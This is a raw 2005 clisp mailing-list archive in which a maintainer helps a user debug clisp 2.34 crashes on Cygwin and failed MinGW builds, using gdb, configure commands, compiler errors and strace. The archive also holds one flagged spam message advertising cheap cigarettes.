clisp 2.34 does not build correctly on Cygwin. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Aug 16 14:06:52 2005 X-Original-Date: Tue, 16 Aug 2005 17:03:46 -0400 > * Jeremy Shute [2005-08-16 16:21:50 -0400]: > >>"br C_clear_input" and step through. >> > I stepped through. This was what happened: > http://www.crazilocks.com/typescript thanks. "br clear_input" see which "clear_input_*()" function is called. step into it. see which syscall is invoked. -- Sam Steingold (http://www.podval.org/~sds) running w2k Lisp is not dead, it just smells funny. From shutej@crazilocks.com Tue Aug 16 15:13:46 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E59gk-0006Ut-80 for clisp-list@lists.sourceforge.net; Tue, 16 Aug 2005 15:13:42 -0700 Received: from 216-239-45-4.google.com ([216.239.45.4]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1E59gi-00060g-Uz for clisp-list@lists.sourceforge.net; Tue, 16 Aug 2005 15:13:42 -0700 Received: from mirapoint8.corp.google.com (mirapoint8.corp.google.com [172.24.0.44]) by evilmonkey.corp.google.com with ESMTP id j7GMDNQe023466 (version=TLSv1/SSLv3 cipher=DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 16 Aug 2005 15:13:23 -0700 Received: from [172.29.36.243] (shutej.nyc.corp.google.com [172.29.36.243]) by mirapoint8.corp.google.com (MOS 3.5.9-GR) with ESMTP id ACP54723 (AUTH shutej); Tue, 16 Aug 2005 15:13:22 -0700 (PDT) Message-ID: <43026502.5030004@crazilocks.com> From: Jeremy Shute User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050519 Red Hat/1.7.8-0.90.1gg1 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: clisp 2.34 does not build correctly on Cygwin. References: <42FBBB68.3060106@google.com> <42FD0C32.6080106@google.com> <42FF3CA6.3000601@google.com> <4300A079.9000809@google.com> <4300C9D8.2040108@google.com> <4300DE43.9070802@google.com> <4302132E.2030009@google.com> <43022B49.3020800@google.com> <43023415.3040502@google.com> <43024ADE.4040602@google.com> In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -3.2 (---) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ -4.3 RCVD_IN_BSP_TRUSTED RBL: Sender is in Bonded Sender Program (trusted relay) [IronPort Bonded Sender - ] 1.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Aug 16 15:15:17 2005 X-Original-Date: Tue, 16 Aug 2005 18:13:22 -0400 Sam Steingold wrote: >>* Jeremy Shute [2005-08-16 16:21:50 -0400]: >> >> >> >>>"br C_clear_input" and step through. >>> >>> >>> >>I stepped through. This was what happened: >>http://www.crazilocks.com/typescript >> >> > >thanks. >"br clear_input" >see which "clear_input_*()" function is called. >step into it. >see which syscall is invoked. > > > As near as I can tell the chain goes: clear_input clear_input_synonym clear_input clear_input_unbuffered After that rewinds back out, C_clear_input is called??? You can check out my progress in http://www.crazilocks.com/typescript (which is freshly replaced from what you downloaded earlier). Jeremy From steve.morin@gmail.com Tue Aug 16 15:19:02 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E59ls-0006lh-PR for clisp-list@lists.sourceforge.net; Tue, 16 Aug 2005 15:19:00 -0700 Received: from wproxy.gmail.com ([64.233.184.192]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E59ls-0007mv-Ff for clisp-list@lists.sourceforge.net; Tue, 16 Aug 2005 15:19:00 -0700 Received: by wproxy.gmail.com with SMTP id 70so36314wra for ; Tue, 16 Aug 2005 15:18:45 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=p4pEPU6TAuDb9054H9V+u8a5omcaC9c8ekEQ5RiYfeKKXjNRFjXCov0fgkFNmkU8BcwuN1pDccq/yOq63Iq5URUQ8CN5I8zzckoKJthz/iP4072g6Y5h7XXWnXZum7uYCNeqeelyw6TJeKm8X4thDOvesMNAFRCeI8LTsqlChfo= Received: by 10.54.23.8 with SMTP id 8mr4558242wrw; Tue, 16 Aug 2005 15:18:44 -0700 (PDT) Received: by 10.54.7.35 with HTTP; Tue, 16 Aug 2005 15:18:44 -0700 (PDT) Message-ID: From: steve morin To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] OS X Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Aug 16 15:20:23 2005 X-Original-Date: Tue, 16 Aug 2005 18:18:44 -0400 Is there directions for building clisp on OS X? Steve From sds@gnu.org Tue Aug 16 15:36:43 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E5A30-0007dw-So for clisp-list@lists.sourceforge.net; Tue, 16 Aug 2005 15:36:42 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E5A2x-0002YP-GY for clisp-list@lists.sourceforge.net; Tue, 16 Aug 2005 15:36:43 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j7GMaSgB008152; Tue, 16 Aug 2005 18:36:28 -0400 (EDT) To: clisp-list@lists.sourceforge.net, steve morin Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (steve morin's message of "Tue, 16 Aug 2005 18:18:44 -0400") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, steve morin Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: OS X Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Aug 16 15:37:24 2005 X-Original-Date: Tue, 16 Aug 2005 18:35:40 -0400 > * steve morin [2005-08-16 18:18:44 -0400]: > > Is there directions for building clisp on OS X? clisp/unix/INSTALL clisp/unix/PLATFORMS in short: $ ./configure --build build -- Sam Steingold (http://www.podval.org/~sds) running w2k Only a fool has no doubts. From sds@gnu.org Tue Aug 16 15:38:00 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E5A4G-0007hF-E4 for clisp-list@lists.sourceforge.net; Tue, 16 Aug 2005 15:38:00 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E5A4F-00022z-1V for clisp-list@lists.sourceforge.net; Tue, 16 Aug 2005 15:38:00 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j7GMbo08008252; Tue, 16 Aug 2005 18:37:50 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Jeremy Shute Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <43026502.5030004@crazilocks.com> (Jeremy Shute's message of "Tue, 16 Aug 2005 18:13:22 -0400") References: <42FBBB68.3060106@google.com> <42FD0C32.6080106@google.com> <42FF3CA6.3000601@google.com> <4300A079.9000809@google.com> <4300C9D8.2040108@google.com> <4300DE43.9070802@google.com> <4302132E.2030009@google.com> <43022B49.3020800@google.com> <43023415.3040502@google.com> <43024ADE.4040602@google.com> <43026502.5030004@crazilocks.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Jeremy Shute Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clisp 2.34 does not build correctly on Cygwin. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Aug 16 15:38:39 2005 X-Original-Date: Tue, 16 Aug 2005 18:37:02 -0400 > * Jeremy Shute [2005-08-16 18:13:22 -0400]: > > clear_input > clear_input_synonym > clear_input > clear_input_unbuffered the meat is in UnbufferedStreamLow_clear_input(stream)(stream); step into it and see where it gets you. > You can check out my progress in http://www.crazilocks.com/typescript it is offered as "application/octet-stream". could you please make that text/plain? thanks! -- Sam Steingold (http://www.podval.org/~sds) running w2k Beauty is only a light switch away. From shutej@google.com Wed Aug 17 06:11:29 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E5NhY-0007q2-Oe for clisp-list@lists.sourceforge.net; Wed, 17 Aug 2005 06:11:28 -0700 Received: from 216-239-45-4.google.com ([216.239.45.4]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1E5NhX-00039p-F3 for clisp-list@lists.sourceforge.net; Wed, 17 Aug 2005 06:11:28 -0700 Received: from mirapoint8.corp.google.com (mirapoint8.corp.google.com [172.24.0.44]) by lois.corp.google.com with ESMTP id j7HDBIqX031213 (version=TLSv1/SSLv3 cipher=DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 17 Aug 2005 06:11:18 -0700 Received: from [172.29.42.82] (dhcp-172-29-42-82.nyc.corp.google.com [172.29.42.82]) by mirapoint8.corp.google.com (MOS 3.5.9-GR) with ESMTP id ACP91751 (AUTH shutej); Wed, 17 Aug 2005 06:11:18 -0700 (PDT) Message-ID: <43033774.2080202@google.com> From: Jeremy Shute User-Agent: Mozilla Thunderbird 1.0.6 (Windows/20050716) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: clisp 2.34 does not build correctly on Cygwin. References: <42FBBB68.3060106@google.com> <42FD0C32.6080106@google.com> <42FF3CA6.3000601@google.com> <4300A079.9000809@google.com> <4300C9D8.2040108@google.com> <4300DE43.9070802@google.com> <4302132E.2030009@google.com> <43022B49.3020800@google.com> <43023415.3040502@google.com> <43024ADE.4040602@google.com> <43026502.5030004@crazilocks.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -4.3 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.3 RCVD_IN_BSP_TRUSTED RBL: Sender is in Bonded Sender Program (trusted relay) [IronPort Bonded Sender - ] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Aug 17 06:12:17 2005 X-Original-Date: Wed, 17 Aug 2005 09:11:16 -0400 Sam Steingold wrote: >>* Jeremy Shute [2005-08-16 18:13:22 -0400]: >> >>clear_input >>clear_input_synonym >>clear_input >>clear_input_unbuffered >> >> > >the meat is in > >UnbufferedStreamLow_clear_input(stream)(stream); > >step into it and see where it gets you. > > There's no stepping into it in the debugger, because the process never gets to that line. It returns from this, instead: if (nullp(TheStream(stream)->strm_isatty)) return false; # it's a file -> nothing to do It's a file when lisp.exe is run under GDB, we return false. The UnbufferedStreamLow_clear_input macro line is never reached. Remember, I can't actually get the thing to CRASH under GDB. It only crashes when I run lisp from the terminal. This is probably why the program acts differently between the debugger and the terminal: you're expecting it to call UnbufferedStreamLow_clear_input and it isn't. >>You can check out my progress in http://www.crazilocks.com/typescript >> >> > >it is offered as "application/octet-stream". >could you please make that text/plain? > > Yes, the next typescript I send will be in text/plain, I will make sure of it. Jeremy From shutej@google.com Wed Aug 17 06:44:11 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E5ODD-0000gr-NH for clisp-list@lists.sourceforge.net; Wed, 17 Aug 2005 06:44:11 -0700 Received: from 216-239-45-4.google.com ([216.239.45.4]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1E5ODC-0002K1-KV for clisp-list@lists.sourceforge.net; Wed, 17 Aug 2005 06:44:11 -0700 Received: from mirapoint8.corp.google.com (mirapoint8.corp.google.com [172.24.0.44]) by nappa.corp.google.com with ESMTP id j7HDi1Tj000968 (version=TLSv1/SSLv3 cipher=DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 17 Aug 2005 06:44:01 -0700 Received: from [172.29.36.243] (shutej.nyc.corp.google.com [172.29.36.243]) by mirapoint8.corp.google.com (MOS 3.5.9-GR) with ESMTP id ACP92556 (AUTH shutej); Wed, 17 Aug 2005 06:44:00 -0700 (PDT) Message-ID: <43033F20.3040500@google.com> From: Jeremy Shute User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050519 Red Hat/1.7.8-0.90.1gg1 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <42FBBB68.3060106@google.com> <42FD0C32.6080106@google.com> <42FF3CA6.3000601@google.com> <4300A079.9000809@google.com> <4300C9D8.2040108@google.com> <4300DE43.9070802@google.com> <4302132E.2030009@google.com> <43022B49.3020800@google.com> <43023415.3040502@google.com> <43024ADE.4040602@google.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -4.2 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - -4.3 RCVD_IN_BSP_TRUSTED RBL: Sender is in Bonded Sender Program (trusted relay) [IronPort Bonded Sender - ] 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] clisp 2.34 and CVS head do not build correctly on MinGW (either) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Aug 17 06:45:30 2005 X-Original-Date: Wed, 17 Aug 2005 09:44:00 -0400 Hi (again), Frustrated by the idea that clisp could be breaking because of an issue in Cygwin, I have tried to build it with MinGW/MSYS, instead. That would be a more optimal solution under Windows, anyway (as I have found the FastCGI DevPack for MinGW). A lean installation was first attempted with the command: ./configure --with-mingw --build build-w32-lean I tried with the 2.34 release and got these results: http://www.crazilocks.com/build-w32-lean.2.34.txt I also tried with the CVS head release and got these results: http://www.crazilocks.com/build-w32-lean.head.txt This was with the most recent release of MinGW and MSYS (4.1.1 and 1.0.10, respectively). What SHOULD I be doing, if not this? Jeremy From ira5uxp@aol.com Wed Aug 17 07:02:12 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E5OUe-0001h0-Hy for clisp-list@lists.sourceforge.net; Wed, 17 Aug 2005 07:02:12 -0700 Received: from ip83-230-19-84.debacom.pl ([83.230.19.84] helo=83.230.19.84) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E5OUb-0000k1-Li for clisp-list@lists.sourceforge.net; Wed, 17 Aug 2005 07:02:12 -0700 Message-ID: <6691106095ira5uxp@aol.com> From: "SergioBower" To:clisp-list@lists.sourceforge.net X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) MIME-Version: 1.0 Content-Type: text/plain;charset=utf-8; Content-Transfer-Encoding:8bit X-Spam-Score: 4.6 (++++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO 0.1 DATE_IN_FUTURE_03_06 Date: is 3 to 6 hours after Received: date 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.6 URIBL_SBL Contains an URL listed in the SBL blocklist [URIs: smokazz.com] 1.3 FORGED_MUA_OIMO Forged mail pretending to be from MS Outlook IMO Subject: [clisp-list] Cigarettes for you beauty Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Aug 17 07:03:04 2005 X-Original-Date: Wed, 17 Aug 2005 10:53:31 -0700 Our online cigarettes shop is dedicated to providing you with world-class service at the best price possible blitz We offer cheap cigarettes with many brands to buy online. We deliver cheap cigarettes all over the world wakeful http://www.smokazz.com From sds@gnu.org Wed Aug 17 07:03:59 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E5OWN-0001lf-9Q for clisp-list@lists.sourceforge.net; Wed, 17 Aug 2005 07:03:59 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E5OWI-0007QC-ER for clisp-list@lists.sourceforge.net; Wed, 17 Aug 2005 07:03:59 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j7HE3U9G001588; Wed, 17 Aug 2005 10:03:31 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Jeremy Shute Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <43033F20.3040500@google.com> (Jeremy Shute's message of "Wed, 17 Aug 2005 09:44:00 -0400") References: <42FBBB68.3060106@google.com> <42FD0C32.6080106@google.com> <42FF3CA6.3000601@google.com> <4300A079.9000809@google.com> <4300C9D8.2040108@google.com> <4300DE43.9070802@google.com> <4302132E.2030009@google.com> <43022B49.3020800@google.com> <43023415.3040502@google.com> <43024ADE.4040602@google.com> <43033F20.3040500@google.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Jeremy Shute Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PIPE BODY: Text interparsed with | -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clisp 2.34 and CVS head do not build correctly on MinGW (either) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Aug 17 07:04:32 2005 X-Original-Date: Wed, 17 Aug 2005 10:02:42 -0400 > * Jeremy Shute [2005-08-17 09:44:00 -0400]: > > Frustrated by the idea that clisp could be breaking because of an > issue in Cygwin, I have tried to build it with MinGW/MSYS, instead. > That would be a more optimal solution under Windows, anyway (as I have > found the FastCGI DevPack for MinGW). indeed! > A lean installation was first attempted with the command: > > ./configure --with-mingw --build build-w32-lean > > I tried with the 2.34 release and got these results: > http://www.crazilocks.com/build-w32-lean.2.34.txt note that the boot linking set was successfully built! you can try $ ./lisp.exe -M lispinit.mem ... or $ make boot clisp $ ./clisp -K boot now, the error starts at gcc -mno-cygwin -I/usr/local/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -I. -DCOMPILE_STANDALONE -O0 -c genclisph.c In file included from lispbibl.d:2042, from genclisph.d:7: win32.d:67:1: warning: "HAVE_STRERROR" redefined In file included from lispbibl.d:322, from genclisph.d:7: unixconf.h:364:1: warning: this is the location of the previous definition In file included from genclisph.d:7: lispbibl.d:9610: warning: register used for two global register variables In file included from genclisph.d:212: lispbibl.d: In function `main': lispbibl.d:2: error: `Main' undeclared (first use in this function) lispbibl.d:2: error: (Each undeclared identifier is reported only once lispbibl.d:2: error: for each function it appears in.) lispbibl.d:2: error: syntax error before "include" In file included from genclisph.d:212: lispbibl.d:4:19: too many decimal points in number lispbibl.d:6:62: invalid digit "9" in octal constant lispbibl.d: At top level: lispbibl.d:23: error: syntax error before "on" &c please take a look at gen.lispbibl.c the correct file is > I also tried with the CVS head release and got these results: > http://www.crazilocks.com/build-w32-lean.head.txt cd ../ && make -f Makefile.devel src/configure make[1]: Entering directory `/home/shutej/clisp-head' egrep '(AC_INIT|AC_PREREQ)' src/configure.in > configure.ac cat src/configure.in modules/berkeley-db/configure.in modules/clx/new-clx/configure.in modules/dirkey/configure.in modules/fastcgi/configure.in modules/i18n/configure.in modules/oracle/configure.in modules/pari/configure.in modules/pcre/configure.in modules/postgresql/configure.in modules/rawsock/configure.in modules/regexp/configure.in modules/syscalls/configure.in modules/wildcard/configure.in modules/zlib/configure.in | egrep -v '(AC_INIT|AC_CONFIG_HEADER|AC_OUTPUT|AC_CONFIG_FILE.*(Makefile|link\.sh)|_CANONICAL_|AC_PREREQ)' >> configure.ac echo AC_OUTPUT >> configure.ac aclocal -I `pwd`/src/m4 --output=src/autoconf/aclocal.m4 /bin/sh: aclocal: command not found make[1]: *** [src/autoconf/aclocal.m4] Error 127 make[1]: Leaving directory `/home/shutej/clisp-head' make: *** [../src/configure] Error 2 see > This was with the most recent release of MinGW and MSYS (4.1.1 and > 1.0.10, respectively). > > What SHOULD I be doing, if not this? discard MinGW and MSYS. use cygwin and mingw that comes with cygwin. I could never get MSYS/MinGW to work for me - if you can, please send patches. under cygwin bash, do (make sure "gcc -mno-cygwin" can find fastcgi headers and libraries) $ ./configure --with-mingw --with-module=fastcgi --build build-w32 -- Sam Steingold (http://www.podval.org/~sds) running w2k A man paints with his brains and not with his hands. From sds@gnu.org Wed Aug 17 07:10:57 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E5Od6-000270-VE for clisp-list@lists.sourceforge.net; Wed, 17 Aug 2005 07:10:56 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E5Od3-0000ZW-8N for clisp-list@lists.sourceforge.net; Wed, 17 Aug 2005 07:10:56 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j7HEAgHR002556; Wed, 17 Aug 2005 10:10:42 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Jeremy Shute Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <43033774.2080202@google.com> (Jeremy Shute's message of "Wed, 17 Aug 2005 09:11:16 -0400") References: <42FBBB68.3060106@google.com> <42FF3CA6.3000601@google.com> <4300A079.9000809@google.com> <4300C9D8.2040108@google.com> <4300DE43.9070802@google.com> <4302132E.2030009@google.com> <43022B49.3020800@google.com> <43023415.3040502@google.com> <43024ADE.4040602@google.com> <43026502.5030004@crazilocks.com> <43033774.2080202@google.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Jeremy Shute Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clisp 2.34 does not build correctly on Cygwin. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Aug 17 07:11:54 2005 X-Original-Date: Wed, 17 Aug 2005 10:09:54 -0400 > * Jeremy Shute [2005-08-17 09:11:16 -0400]: > > It returns from this, instead: > > if (nullp(TheStream(stream)->strm_isatty)) > return false; # it's a file -> nothing to do I see - so under gdb stdio is not a tty (i.e., isatty() returns 0, see stream.d:7725) looks like strace is the last option. 1. start clisp in a cygwin window under bash 2. find out PID of lisp.exe 3. run "strace -p PID_of_LISP.EXE" in another bash window 4. type (clear-input *query-io*) in clisp 5. watch the strace output. please do not despair. all these issues are really minor and should not spoil your clisp experience. (it would be nice to track them down though) -- Sam Steingold (http://www.podval.org/~sds) running w2k Stupidity, like virtue, is its own reward. From steve.morin@gmail.com Wed Aug 17 08:26:49 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E5PoW-0006Gu-3D for clisp-list@lists.sourceforge.net; Wed, 17 Aug 2005 08:26:48 -0700 Received: from wproxy.gmail.com ([64.233.184.207]) by mail.sourceforge.net with esmtp (Exim 4.44) id 